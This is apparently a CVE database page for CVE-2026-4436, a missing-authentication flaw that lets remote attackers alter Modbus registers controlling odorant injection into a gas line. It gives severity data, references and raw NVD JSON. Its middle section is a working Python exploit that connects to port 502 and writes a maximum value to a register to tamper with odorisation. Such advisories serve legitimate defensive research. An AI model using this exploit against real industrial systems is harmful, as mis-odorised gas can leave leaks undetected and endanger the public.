CVE-2026-4436

Description

A low-privileged remote attacker can send Modbus packets to manipulate register values that are inputs to the odorant injection logic such that too much or too little odorant is injected into a gas line.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

具体版本信息未在描述中提及

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct
import socket

# Target Configuration
TARGET_IP = "192.168.1.100"
MODBUS_PORT = 502

# Modbus Write Single Register (Function Code 0x06)
# Transaction ID: 0x0001, Protocol ID: 0x0000, Length: 0x0006, Unit ID: 0x01
# Function Code: 0x06, Register Address: 0x0000 (Example), Value: 0xFFFF (Max Injection)
def craft_modbus_packet(reg_addr, value):
    transaction_id = 0x0001
    protocol_id = 0x0000
    length = 6
    unit_id = 1
    function_code = 6
    
    # MBAP Header + PDU
    packet = struct.pack('!HHHBBHH', transaction_id, protocol_id, length, unit_id, function_code, reg_addr, value)
    return packet

try:
    print(f"[*] Connecting to {TARGET_IP}...")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect((TARGET_IP, MODBUS_PORT))
    
    # Example: Maliciously set register 100 to 0xFFFF to manipulate odorant injection
    malicious_payload = craft_modbus_packet(100, 0xFFFF)
    
    print(f"[*] Sending malicious packet to manipulate register...")
    sock.send(malicious_payload)
    
    response = sock.recv(1024)
    print(f"[+] Response received: {response.hex()}")
    print("[+] Exploit packet sent successfully.")
    
except Exception as e:
    print(f"[-] Error: {e}")
finally:
    sock.close()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-4436
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-4436
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-4436/
[4] VulDB https://vuldb.com/cve/CVE-2026-4436
[5] https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-099-02.json
[6] https://lincenergysystems-my.sharepoint.com/:f:/p/h_baer/IgDYaHIhXpyLQJvnKPd6b80TAUgV7Lp8qmVYBFUb0lmr7ak?e=JLeADm
[7] https://www.cisa.gov/news-events/ics-advisories/icsa-26-099-02

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-4436", "sourceIdentifier": "[email protected]", "published": "2026-04-09T20:16:27.903", "lastModified": "2026-04-13T15:02:27.760", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A low-privileged remote attacker can send Modbus packets to manipulate \nregister values that are inputs to the odorant injection logic such that\n too much or too little odorant is injected into a gas line."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-099-02.json", "source": "[email protected]"}, {"url": "https://lincenergysystems-my.sharepoint.com/:f:/p/h_baer/IgDYaHIhXpyLQJvnKPd6b80TAUgV7Lp8qmVYBFUb0lmr7ak?e=JLeADm", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-099-02", "source": "[email protected]"}]}}